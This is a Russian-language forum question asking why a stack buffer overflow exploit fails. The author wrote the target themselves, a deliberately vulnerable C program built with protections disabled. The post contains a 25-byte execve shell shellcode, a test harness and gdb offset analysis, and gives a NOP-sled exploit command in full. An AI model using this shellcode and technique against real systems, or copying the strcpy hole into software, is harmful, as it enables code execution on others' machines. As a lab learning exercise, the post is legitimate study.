(я знаю, слишком много ответов уже, но нужна помощь)
Насколько я знаю, переполнение буфера может быть защищено либо ASLR, канарейками памяти, либо неисполняемым стеком. поэтому для целей тестирования я отключил ASLR с последующими sysctl -w kernel.randomize_va_space=0
, отключил канареи программ с последующими -fno-stack-protector
и сделал стек исполняемым со следующими -z execstack
.
Теперь, чтобы подтвердить это, я сделал:
ASLR
root@kali:/tmp# cat /proc/sys/kernel/randomize_va_space
0
Исполняемый стек : readelf -l vuln2
GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
0x0000000000000000 0x0000000000000000 RWE 0x10
Другая информация, которая может помочь :
root@kali:/tmp# file vuln2
vuln2: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=8102b60ffa8c26f231e4184d2f49b2e7c26a18b9, not stripped
Архитектура ЦП имеет младший порядок:
root@kali:/tmp# lscpu | grep 'Byte Order'
Byte Order: Little Endian
Программа:
#include <stdio.h>
int main(int argc, char *argv[]){
char buf[512];
strcpy(buf, argv[1]);
return 0;
}
Компиляция:
gcc -o vuln2 vuln2.c -fno-stack-protector -z execstack
Код оболочки: равен 25 байтам
\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05
работает ли шеллкод? Да , да, это так, компилируя эту порожденную оболочку:
#include <sys/mman.h>
#include <stdint.h>
char code[] = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05";
int main(){
mprotect((void *)((uint64_t)code & ~4095), 4096, PROT_READ|PROT_EXEC);
(*(void(*)()) code)();
return 0;
}
Как мне его использовать?
ну, мне нужно 526 байт для перезаписи RIP
:
(gdb) r $(python -c 'print "A"*526')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/vuln2 $(python -c 'print "A"*526')
Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()
(gdb) x/x $rip
0x414141414141: Cannot access memory at address 0x414141414141
Начальный адрес стека: 0x7fffffffdd70
(gdb) x/100x $rsp
0x7fffffffdd60: 0xffffe058 0x00007fff 0xf7fd3298 0x00000002
0x7fffffffdd70: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd80: 0x41414141 0x41414141 0x41414141 0x41414141
0x7fffffffdd90: 0x41414141 0x41414141 0x41414141 0x41414141
Адрес RBP:
(gdb) x/x $rbp
0x7fffffffdf70: 0x41414141
Теперь, чтобы использовать стек, мы минус 6 из 526, которые будут заменены адресом возврата, и минус 25, который является шелл-кодом, так что в итоге 526-6-25=495
Последний эксплойт:
(gdb) r $(python -c 'print "\x90"*495+"\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05"+"\x90\xdd\xff\xff\xff\x7f"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/vuln2 $(python -c 'print "\x90"*495+"\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05"+"\x90\xdd\xff\xff\xff\x7f"')
Program received signal SIGILL, Illegal instruction.
0x00007fffffffdf73 in ?? ()
Есть ли какая-то ошибка, которую я совершаю?